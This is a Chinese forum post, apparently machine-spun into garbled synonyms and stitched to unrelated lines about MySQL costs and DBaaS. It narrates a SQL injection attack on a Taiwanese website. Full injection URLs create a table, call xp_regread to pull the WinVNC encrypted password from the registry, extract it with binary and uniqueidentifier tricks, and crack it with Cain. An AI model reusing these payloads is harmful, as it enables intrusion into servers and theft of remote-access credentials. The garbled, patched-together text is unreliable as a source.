|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
只需每年花费2000到5000美元。无论你是自掏腰包来创建一个新兴公司,还是得到了风险投资商的赞助,使用MySQL都可以降低你所需要的人力成本。 信任人人对ASP+MSSQL注进都已很熟习了,连一个对SQL语法涓滴不懂的人也能够用NBSI来轻松进侵大批网站。但就算是一个SQLINJECTION妙手,假如针对在MSSQL中只要db_owner脚色,破不出猜不到网站背景的情形下,仿佛也无技可施;除用备份失掉shell的这个思绪,我在网上其实没有找出更好的进侵举措。不外,备份失掉的shell只是实际化的东东,假如一个webshell有20mb的话,你还能用它吗?前不久,我就碰着了如许的一个台湾网站,办理员的暗码却是用NBSi跑了出来,但是用户名由于是繁体的缘故原由在NBSi中成了一堆乱码。我也找到了背景,可只要干努目的份。怎样办?我又扫了它的一切端口,发明开了5900,估量是办理员用了VNC对服务器举行了远程把持。这时候,我就有一个思绪,能不克不及把VNC在注册表的加密暗码读出来再来破解呢?看我扮演吧!
TELNET服务器的5900端口,失掉讯息如所示,证明服务器切实其实用的是VNC。信任人人城市用读xp_regread来读注册表了,顺次提交以下语句:
http://www.something.com/script.asp?id=2;createtable[dbo].[cyfd]([gyfd][char](255));
如许我们就乐成地建了一个名为cyfd的表,而且增加了范例是char,长度为255的字段名gyfd。然后向表中加数据:
_blank>http://www.something.com/script.asp?id=2;DECLARE@resultvarchar(255)EXECmaster.dbo.xp_regreadHKEY_CURRENT_USER,SoftwareORLWinVNC3,Password,@resultoutputinsertintocyfd(gyfd)values(@result);--
从注册表中读出VNC在注册表的加密暗码的值,再把值拔出到刚建的表中。然后暴出VNC在注册表的加密暗码:
_blank>http://www.something.com/script.asp?id=2and1=(selectcount(*)fromcyfdwheregyfd>1)。
但是了局年夜掉我所看,gyfd的值是空的。假如如许简单的话,不会有这篇文章呈现了。这是甚么缘故原由呢?我的语法不准确?翻来覆往的反省我的语句也没有发明毛病呀。岂非繁体的vnc在注册内外的地位纷歧样?厥后我又入手下手在本机装了vnc又在剖析查循器里做测试,失掉的了局倒是个数字5。这时候czy上线了,扣问了一下,他劝我把gyfd的这个字段改成二进制数据范例binary来试一下。因而我又在本机测试了一下,顺次提交以下语句:
http://127.0.0.1/script.asp?id=2;createtable[dbo].[cyfd]([gyfd][binary](20));
http://127.0.0.1/script.asp?id=2;DECLARE@resultbinary(20)EXECmaster.dbo.xp_regreadHKEY_CURRENT_USER,SoftwareORLWinVNC3,Password,@resultoutputinsertintocyfd(gyfd)values(@result);--
然后我再用nbsi跑出cyfd内外gyfd这个字段的值。了局到是出来了,失掉了vnc的加密暗码值是0x0E3515AC00000000000000000000000000000000。可这儿还不合错误,我在本机装的vnc在注册内外的暗码值是hex:0e,35,15,ac,00,62,d3,08这个呀。本来binary(n)的数据存储长度是流动的,当输出的二进制长度小于n时,余下长度填0增补。我在注进语句中写进的binary(20)是充足写进vnc加密暗码的长度时,为何另有那末多0来添补呢?这是由于恰好我的vnc暗码是0e3515ac0062d308,在碰着了00的情形下,xp_regread觉得已读完了它的值呢,把00当做了却束符,以是只读到了0x0E3515AC,我晕!
翻了一下书,终究让我找到了一个特别的数据范例uniqueidentifier,是用来存储一个16字节长的二进制数据范例。把注进语句改革一下:
http://127.0.0.1/script.asp?id=2;createtable[dbo].[cyfd]([gyfd][uniqueidentifier]);
http://127.0.0.1/script.asp?id=2;DECLARE@resultuniqueidentifierEXECmaster.dbo.xp_regreadHKEY_CURRENT_USER,SoftwareORLWinVNC3,Password,@resultoutputinsertintocyfd(gyfd)values(@result);--
然后再用nbsi跑一下,跑出来了,不外失掉的了局是AC15350E-6200-08D3-0000-000000000000。
AC15350E-6200-08D3-0000-000000000000和我在注册内外的准确的vnc暗码的值0e3515ac0062d308比拟,能看出来有甚么分歧吗?只不外按次是倒置的,信任人人城市小学的算术,这个不必我教了。试一下用cain破出vnc的暗码,看看行不可 看模样在本机做的测试统统乐成。这办法用到台湾上的站点尝尝,哎,仍然没有跑出vnc的暗码,大概繁体vnc在注册表的地位分歧吧。不外,我研讨了一上午,有了一点劳绩,就放过你吧。
这是无法比较的,因为基于云的数据库提供了不同的模式。关键是要通过围绕云计算产品来包装其他增值服务以适应不断变化的市场条件:这就是DBaaS。 |
|